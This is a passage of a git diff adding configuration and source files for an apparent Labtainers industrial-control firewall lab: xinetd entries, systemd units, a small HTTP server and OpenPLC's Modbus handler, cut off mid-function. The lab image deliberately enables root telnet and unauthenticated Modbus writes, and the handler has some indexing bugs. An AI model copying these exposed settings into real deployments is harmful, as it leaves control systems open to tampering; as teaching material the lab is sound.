membership daemon +sgi-cad 17004/tcp # Cluster Admin daemon +isdnlog 20011/tcp # isdn logging system +isdnlog 20011/udp +vboxd 20012/tcp # voice box system +vboxd 20012/udp +binkp 24554/tcp # binkp fidonet protocol +asp 27374/tcp # Address Search Protocol +asp 27374/udp +csync2 30865/tcp # cluster synchronization tool +dircproxy 57000/tcp # Detachable IRC Proxy +tfido 60177/tcp # fidonet EMSI over telnet +fido 60179/tcp # fidonet EMSI over TCP + +# Local services diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/xinetd.d/telnet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/xinetd.d/telnet new file mode 100644 index 000000000..b1791994e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/xinetd.d/telnet @@ -0,0 +1,10 @@ +service telnet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = no +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..d0145f26f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,12 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +WorkingDirectory=/var/www +ExecStart=/sbin/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/lib/systemd/system/plc.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/lib/systemd/system/plc.service new file mode 100644 index 000000000..5e63a3e25 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/lib/systemd/system/plc.service @@ -0,0 +1,13 @@ +[Unit] +Description=PLC Service + +[Service] +Type=simple +ExecStart=/usr/bin/nodejs server.js +StandardOutput=/var/log/nodejs.log +StandardError=/var/log/nodejs.log +WorkingDirectory=/sbin/OpenPLC_v2x + +[Install] +WantedBy=multi-user.target +Alias=plc.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/core/modbus.cpp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/core/modbus.cpp new file mode 100644 index 000000000..33945e8e3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/core/modbus.cpp @@ -0,0 +1,899 @@ +//----------------------------------------------------------------------------- +// Copyright 2015 Thiago Alves +// +// Based on the LDmicro software by Jonathan Westhues +// This file is part of the OpenPLC Software Stack. +// +// OpenPLC is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// OpenPLC is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with OpenPLC. If not, see . +//------ +// +// This file has all the MODBUS/TCP functions supported by the OpenPLC. If any +// other function is to be added to the project, it must be added here +// Thiago Alves, Dec 2015 +//----------------------------------------------------------------------------- + +#include +#include +#include +#include + +#include "ladder.h" + +//Labtainer +#include + +#define MAX_DISCRETE_INPUT 800 +#define MAX_COILS 800 +#define MAX_HOLD_REGS 8192 +#define MAX_INP_REGS 1024 + +#define MIN_16B_RANGE 1024 +#define MAX_16B_RANGE 2047 +#define MIN_32B_RANGE 2048 +#define MAX_32B_RANGE 4095 +#define MIN_64B_RANGE 4096 +#define MAX_64B_RANGE 8191 + +#define MB_FC_NONE 0 +#define MB_FC_READ_COILS 1 +#define MB_FC_READ_INPUTS 2 +#define MB_FC_READ_HOLDING_REGISTERS 3 +#define MB_FC_READ_INPUT_REGISTERS 4 +#define MB_FC_WRITE_COIL 5 +#define MB_FC_WRITE_REGISTER 6 +#define MB_FC_WRITE_MULTIPLE_COILS 15 +#define MB_FC_WRITE_MULTIPLE_REGISTERS 16 +#define MB_FC_ERROR 255 + +#define ERR_NONE 0 +#define ERR_ILLEGAL_FUNCTION 1 +#define ERR_ILLEGAL_DATA_ADDRESS 2 +#define ERR_ILLEGAL_DATA_VALUE 3 +#define ERR_SLAVE_DEVICE_FAILURE 4 +#define ERR_SLAVE_DEVICE_BUSY 6 + + +#define bitRead(value, bit) (((value) >> (bit)) & 0x01) +#define bitSet(value, bit) ((value) |= (1UL << (bit))) +#define bitClear(value, bit) ((value) &= ~(1UL << (bit))) +#define bitWrite(value, bit, bitvalue) (bitvalue ? bitSet(value, bit) : bitClear(value, bit)) + +#define lowByte(w) ((unsigned char) ((w) & 0xff)) +#define highByte(w) ((unsigned char) ((w) >> 8)) + +IEC_BOOL mb_discrete_input[MAX_DISCRETE_INPUT]; +IEC_BOOL mb_coils[MAX_COILS]; +IEC_UINT mb_input_regs[MAX_INP_REGS]; +IEC_UINT mb_holding_regs[MAX_HOLD_REGS]; + +int MessageLength; + + + +//----------------------------------------------------------------------------- +// Concatenate two bytes into an int +//----------------------------------------------------------------------------- +int word(unsigned char byte1, unsigned char byte2) +{ + int returnValue; + returnValue = (int)(byte1 << 8) | (int)byte2; + + return returnValue; +} + +//----------------------------------------------------------------------------- +// This function sets the internal NULL OpenPLC buffers to point to valid +// positions on the Modbus buffer +//----------------------------------------------------------------------------- +void mapUnusedIO() +{ + pthread_mutex_lock(&bufferLock); + + for(int i = 0; i < MAX_DISCRETE_INPUT; i++) + { + if (bool_input[i/8][i%8] == NULL) bool_input[i/8][i%8] = &mb_discrete_input[i]; + } + + for(int i = 0; i < MAX_COILS; i++) + { + if (bool_output[i/8][i%8] == NULL) bool_output[i/8][i%8] = &mb_coils[i]; + } + + for (int i = 0; i < MAX_INP_REGS; i++) + { + if (int_input[i] == NULL) int_input[i] = &mb_input_regs[i]; + } + + for (int i = 0; i <= MAX_16B_RANGE; i++) + { + if (i < MIN_16B_RANGE) + if (int_output[i] == NULL) int_output[i] = &mb_holding_regs[i]; + + if (i >= MIN_16B_RANGE && i <= MAX_16B_RANGE) + if (int_memory[i - MIN_16B_RANGE] == NULL) int_memory[i] = &mb_holding_regs[i]; + } + + pthread_mutex_unlock(&bufferLock); +} + +//----------------------------------------------------------------------------- +// Response to a Modbus Error +//----------------------------------------------------------------------------- +void ModbusError(unsigned char *buffer, int mb_error) +{ + buffer[4] = 0; + buffer[5] = 3; + buffer[7] = buffer[7] | 0x80; //set the highest bit + buffer[8] = mb_error; + MessageLength = 9; +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Read Coils +//----------------------------------------------------------------------------- +void ReadCoils(unsigned char *buffer, int bufferSize) +{ + int Start, ByteDataLength, CoilDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8], buffer[9]); + CoilDataLength = word(buffer[10], buffer[11]); + ByteDataLength = CoilDataLength / 8; //calculating the size of the message in bytes + if(ByteDataLength * 8 < CoilDataLength) ByteDataLength++; + + //asked for too many coils + if (ByteDataLength > 255) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); + return; + } + + //preparing response + buffer[4] = highByte(ByteDataLength + 3); + buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one + buffer[8] = ByteDataLength; //Number of bytes of data + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < ByteDataLength ; i++) + { + for(int j = 0; j < 8; j++) + { + int position = Start + i * 8 + j; + if (position < MAX_COILS) + { + if (bool_output[position/8][position%8] != NULL) + { + bitWrite(buffer[9 + i], j, *bool_output[position/8][position%8]); + } + else + { + bitWrite(buffer[9 + i], j, 0); + } + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = ByteDataLength + 9; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Read Discrete Inputs +//----------------------------------------------------------------------------- +void ReadDiscreteInputs(unsigned char *buffer, int bufferSize) +{ + int Start, ByteDataLength, InputDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + InputDataLength = word(buffer[10],buffer[11]); + ByteDataLength = InputDataLength / 8; + if(ByteDataLength * 8 < InputDataLength) ByteDataLength++; + + //asked for too many inputs + if (ByteDataLength > 255) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); + return; + } + + //Preparing response + buffer[4] = highByte(ByteDataLength + 3); + buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one + buffer[8] = ByteDataLength; //Number of bytes of data + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < ByteDataLength ; i++) + { + for(int j = 0; j < 8; j++) + { + int position = Start + i * 8 + j; + if (position < MAX_DISCRETE_INPUT) + { + if (bool_input[position/8][position%8] != NULL) + { + bitWrite(buffer[9 + i], j, *bool_input[position/8][position%8]); + } + else + { + bitWrite(buffer[9 + i], j, 0); + } + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = ByteDataLength + 9; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Read Holding Registers +//----------------------------------------------------------------------------- +void ReadHoldingRegisters(unsigned char *buffer, int bufferSize) +{ + int Start, WordDataLength, ByteDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + WordDataLength = word(buffer[10],buffer[11]); + ByteDataLength = WordDataLength * 2; + + //asked for too many registers + if (ByteDataLength > 255) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); + return; + } + + //preparing response + buffer[4] = highByte(ByteDataLength + 3); + buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one + buffer[8] = ByteDataLength; //Number of bytes of data + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < WordDataLength; i++) + { + int position = Start + i; + if (position <= MIN_16B_RANGE) + { + if (int_output[position] != NULL) + { + buffer[ 9 + i * 2] = highByte(*int_output[position]); + buffer[10 + i * 2] = lowByte(*int_output[position]); + } + else + { + buffer[ 9 + i * 2] = 0; + buffer[10 + i * 2] = 0; + } + } + //accessing memory + //16-bit registers + else if (position >= MIN_16B_RANGE && position <= MAX_16B_RANGE) + { + if (int_memory[position - MIN_16B_RANGE] != NULL) + { + buffer[ 9 + i * 2] = highByte(*int_memory[position - MIN_16B_RANGE]); + buffer[10 + i * 2] = lowByte(*int_memory[position - MIN_16B_RANGE]); + } + else + { + buffer[ 9 + i * 2] = 0; + buffer[10 + i * 2] = 0; + } + } + //32-bit registers + else if (position >= MIN_32B_RANGE && position <= MAX_32B_RANGE) + { + if (dint_memory[(position - MIN_32B_RANGE)/2] != NULL) + { + if ((position - MIN_32B_RANGE) % 2 == 0) //first word + { + uint16_t tempValue = (uint16_t)(*dint_memory[(position - MIN_32B_RANGE)/2] >> 16); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + else //second word + { + uint16_t tempValue = (uint16_t)(*dint_memory[(position - MIN_32B_RANGE)/2] & 0xffff); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + } + else + { + buffer[ 9 + i * 2] = mb_holding_regs[position]; + buffer[10 + i * 2] = mb_holding_regs[position]; + } + } + //64-bit registers + else if (position >= MIN_64B_RANGE && position <= MAX_64B_RANGE) + { + if (lint_memory[(position - MIN_64B_RANGE)/4] != NULL) + { + if ((position - MIN_64B_RANGE) % 4 == 0) //first word + { + uint16_t tempValue = (uint16_t)(*lint_memory[(position - MIN_64B_RANGE)/4] >> 48); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + else if ((position - MIN_64B_RANGE) % 4 == 1)//second word + { + uint16_t tempValue = (uint16_t)((*lint_memory[(position - MIN_64B_RANGE)/4] >> 32) & 0xffff); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + else if ((position - MIN_64B_RANGE) % 4 == 2)//third word + { + uint16_t tempValue = (uint16_t)((*lint_memory[(position - MIN_64B_RANGE)/4] >> 16) & 0xffff); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + else if ((position - MIN_64B_RANGE) % 4 == 3)//fourth word + { + uint16_t tempValue = (uint16_t)(*lint_memory[(position - MIN_64B_RANGE)/4] & 0xffff); + buffer[ 9 + i * 2] = highByte(tempValue); + buffer[10 + i * 2] = lowByte(tempValue); + } + } + else + { + buffer[ 9 + i * 2] = mb_holding_regs[position]; + buffer[10 + i * 2] = mb_holding_regs[position]; + } + } + //invalid address + else + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = ByteDataLength + 9; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Read Input Registers +//----------------------------------------------------------------------------- +void ReadInputRegisters(unsigned char *buffer, int bufferSize) +{ + int Start, WordDataLength, ByteDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + WordDataLength = word(buffer[10],buffer[11]); + ByteDataLength = WordDataLength * 2; + + //asked for too many registers + if (ByteDataLength > 255) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); + return; + } + + //preparing response + buffer[4] = highByte(ByteDataLength + 3); + buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one + buffer[8] = ByteDataLength; //Number of bytes of data + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < WordDataLength; i++) + { + int position = Start + i; + if (position < MAX_INP_REGS) + { + if (int_input[position] != NULL) + { + buffer[ 9 + i * 2] = highByte(*int_input[position]); + buffer[10 + i * 2] = lowByte(*int_input[position]); + } + else + { + buffer[ 9 + i * 2] = 0; + buffer[10 + i * 2] = 0; + } + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = ByteDataLength + 9; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Write Coil +//----------------------------------------------------------------------------- +void WriteCoil(unsigned char *buffer, int bufferSize) +{ + int Start; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8], buffer[9]); + + if (Start < MAX_COILS) + { + unsigned char value; + if (word(buffer[10], buffer[11]) > 0) + { + value = 1; + } + else + { + value = 0; + } + + //Labtainer parameterization + syslog(LOG_INFO | LOG_USER, "WriteCoil -- address: %x value: %x", buffer[9], value); + + pthread_mutex_lock(&bufferLock); + if (bool_output[Start/8][Start%8] != NULL) + { + *bool_output[Start/8][Start%8] = value; + } + pthread_mutex_unlock(&bufferLock); + } + + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + buffer[4] = 0; + buffer[5] = 6; //Number of bytes after this one. + MessageLength = 12; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Write Holding Register +//----------------------------------------------------------------------------- +void WriteRegister(unsigned char *buffer, int bufferSize) +{ + int Start; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + + pthread_mutex_lock(&bufferLock); + //analog outputs + if (Start <= MIN_16B_RANGE) + { + if (int_output[Start] != NULL) + { + *int_output[Start] = word(buffer[10],buffer[11]); + } + } + //accessing memory + //16-bit registers + else if (Start >= MIN_16B_RANGE && Start <= MAX_16B_RANGE) + { + if (int_memory[Start - MIN_16B_RANGE] != NULL) + { + *int_memory[Start - MIN_16B_RANGE] = word(buffer[10],buffer[11]); + } + } + //32-bit registers + else if (Start >= MIN_32B_RANGE && Start <= MAX_32B_RANGE) + { + if (dint_memory[(Start - MIN_32B_RANGE)/2] != NULL) + { + uint32_t tempValue = (uint32_t)word(buffer[10],buffer[11]); + + if ((Start - MIN_32B_RANGE) % 2 == 0) //first word + { + *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] & 0x0000ffff; + *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] | (tempValue << 16); + } + else //second word + { + *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] & 0xffff0000; + *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] | tempValue; + } + } + else + { + mb_holding_regs[Start] = word(buffer[10],buffer[11]); + } + } + //64-bit registers + else if (Start >= MIN_64B_RANGE && Start <= MAX_64B_RANGE) + { + if (lint_memory[(Start - MIN_64B_RANGE)/4] != NULL) + { + uint64_t tempValue = (uint64_t)word(buffer[10],buffer[11]); + + if ((Start - MIN_64B_RANGE) % 4 == 0) //first word + { + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0x0000ffffffffffff; + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | (tempValue << 48); + } + else if ((Start - MIN_64B_RANGE) % 4 == 1) //second word + { + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0xffff0000ffffffff; + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | (tempValue << 32); + } + else if ((Start - MIN_64B_RANGE) % 4 == 2) //third word + { + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0xffffffff0000ffff; + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | (tempValue << 16); + } + else if ((Start - MIN_64B_RANGE) % 4 == 3) //fourth word + { + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0xffffffffffff0000; + *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | tempValue; + } + } + else + { + mb_holding_regs[Start] = word(buffer[10],buffer[11]); + } + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + buffer[4] = 0; + buffer[5] = 6; //Number of bytes after this one. + MessageLength = 12; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Write Multiple Coils +//----------------------------------------------------------------------------- +void WriteMultipleCoils(unsigned char *buffer, int bufferSize) +{ + int Start, ByteDataLength, CoilDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + CoilDataLength = word(buffer[10],buffer[11]); + ByteDataLength = CoilDataLength / 8; + if(ByteDataLength * 8 < CoilDataLength) ByteDataLength++; + + //this request must have all the bytes it wants to write. If it doesn't, it's a corrupted message + if ( (bufferSize < (13 + ByteDataLength)) || (buffer[12] != ByteDataLength) ) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + //preparing response + buffer[4] = 0; + buffer[5] = 6; //Number of bytes after this one. + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < ByteDataLength ; i++) + { + for(int j = 0; j < 8; j++) + { + int position = Start + i * 8 + j; + if (position < MAX_COILS) + { + if (bool_output[position/8][position%8] != NULL) *bool_output[position/8][position%8] = bitRead(buffer[13 + i], j); + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = 12; + } +} + +//----------------------------------------------------------------------------- +// Implementation of Modbus/TCP Write Multiple Registers +//----------------------------------------------------------------------------- +void WriteMultipleRegisters(unsigned char *buffer, int bufferSize) +{ + int Start, WordDataLength, ByteDataLength; + int mb_error = ERR_NONE; + + //this request must have at least 12 bytes. If it doesn't, it's a corrupted message + if (bufferSize < 12) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + Start = word(buffer[8],buffer[9]); + WordDataLength = word(buffer[10],buffer[11]); + ByteDataLength = WordDataLength * 2; + + //this request must have all the bytes it wants to write. If it doesn't, it's a corrupted message + if ( (bufferSize < (13 + ByteDataLength)) || (buffer[12] != ByteDataLength) ) + { + ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); + return; + } + + //preparing response + buffer[4] = 0; + buffer[5] = 6; //Number of bytes after this one. + + pthread_mutex_lock(&bufferLock); + for(int i = 0; i < WordDataLength; i++) + { + int position = Start + i; + //analog outputs + if (position <= MIN_16B_RANGE) + { + if (int_output[position] != NULL) *int_output[position] = word(buffer[13 + i * 2], buffer[14 + i * 2]); + } + //accessing memory + //16-bit registers + else if (position >= MIN_16B_RANGE && position <= MAX_16B_RANGE) + { + if (int_memory[position - MIN_16B_RANGE] != NULL) *int_memory[position - MIN_16B_RANGE] = word(buffer[13 + i * 2], buffer[14 + i * 2]); + } + //32-bit registers + else if (position >= MIN_32B_RANGE && position <= MAX_32B_RANGE) + { + if (dint_memory[(Start - MIN_32B_RANGE)/2] != NULL) + { + uint32_t tempValue = (uint32_t)word(buffer[13 + i * 2], buffer[14 + i * 2]); + + if ((position - MIN_32B_RANGE) % 2 == 0) //first word + { + *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] & 0x0000ffff; + *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] | (tempValue << 16); + } + else //second word + { + *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] & 0xffff0000; + *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] | tempValue; + } + } + else + { + mb_holding_regs[position] = word(buffer[13 + i * 2], buffer[14 + i * 2]); + } + } + //64-bit registers + else if (position >= MIN_64B_RANGE && position <= MAX_64B_RANGE) + { + if (lint_memory[(position - MIN_64B_RANGE)/4] != NULL) + { + uint64_t tempValue = (uint64_t)word(buffer[13 + i * 2], buffer[14 + i * 2]); + + if ((position - MIN_64B_RANGE) % 4 == 0) //first word + { + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0x0000ffffffffffff; + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | (tempValue << 48); + } + else if ((Start - MIN_64B_RANGE) % 4 == 1) //second word + { + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0xffff0000ffffffff; + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | (tempValue << 32); + } + else if ((Start - MIN_64B_RANGE) % 4 == 2) //third word + { + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0xffffffff0000ffff; + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | (tempValue << 16); + } + else if ((Start - MIN_64B_RANGE) % 4 == 3) //fourth word + { + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0xffffffffffff0000; + *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | tempValue; + } + } + else + { + mb_holding_regs[Start] = word(buffer[10],buffer[11]); + } + } + else //invalid address + { + mb_error = ERR_ILLEGAL_DATA_ADDRESS; + } + } + pthread_mutex_unlock(&bufferLock); + + if (mb_error != ERR_NONE) + { + ModbusError(buffer, mb_error); + } + else + { + MessageLength = 12; + } +} + +//----------------------------------------------------------------------------- +// This function must parse and process the client request and write back the +// response for it. The return value is the size of the response message in +// bytes. +//----------------------------------------------------------------------------- +int processModbusMessage(unsigned char *buffer, int bufferSize) +{ + MessageLength = 0; + + //check if the message is long enough + if (bufferSize < 8) + { + ModbusError(buffer, ERR_ILLEGAL_FUNCTION); + } + + //****************** Read Coils ********************** + else if(buffer[7] == MB_FC_READ_COILS) + { + ReadCoils(buffer, bufferSize); + } + + //*************** Read Discrete Inputs *************** + else if(buffer[7] == MB_FC_READ_INPUTS) + { + ReadDiscreteInputs(buffer, bufferSize); + } + + //****************** Read Holding Registers ****************** + else if(buffer[7] == MB_FC_READ_HOLDING_REGISTERS) + { + ReadHoldingRegisters(buffer, bufferSize); + } + + //****************** Read Input Registers ****************** + else if(buffer[7] == MB_FC_READ_INPUT_REGISTERS) + { + ReadInputRegisters(buffer, bufferSize); + } + + //****************** Write Coil ********************** + else if(buffer[7] == MB_FC_WRITE_COIL) + { + + //Labtainer parameterization + syslog(LOG_INFO | LOG_USER, "WRITE_COIL... UniqueID"); + + WriteCoil(buffer, bufferSize); + } + + //****************** Write Register ****************** + else if(buffer[7] == MB_FC_WRITE_REGISTER) + { + WriteRegister(buffer, bufferSize); + } + + //****************** Write Multiple Coils ********************** + else if(buffer[7] == MB_FC_WRITE_MULTIPLE_COILS) + { + WriteMultipleCoils(buffer, bufferSize); + } + + //****************** Write Multiple Registers ****************** + else if(buffer[7] == MB_FC_WRITE_MULTIPLE_REGISTERS) + { + WriteMultipleRegisters(buffer, bufferSize); + } + + //****************** Function Code Error ****************** + else + { + ModbusError(buffer, 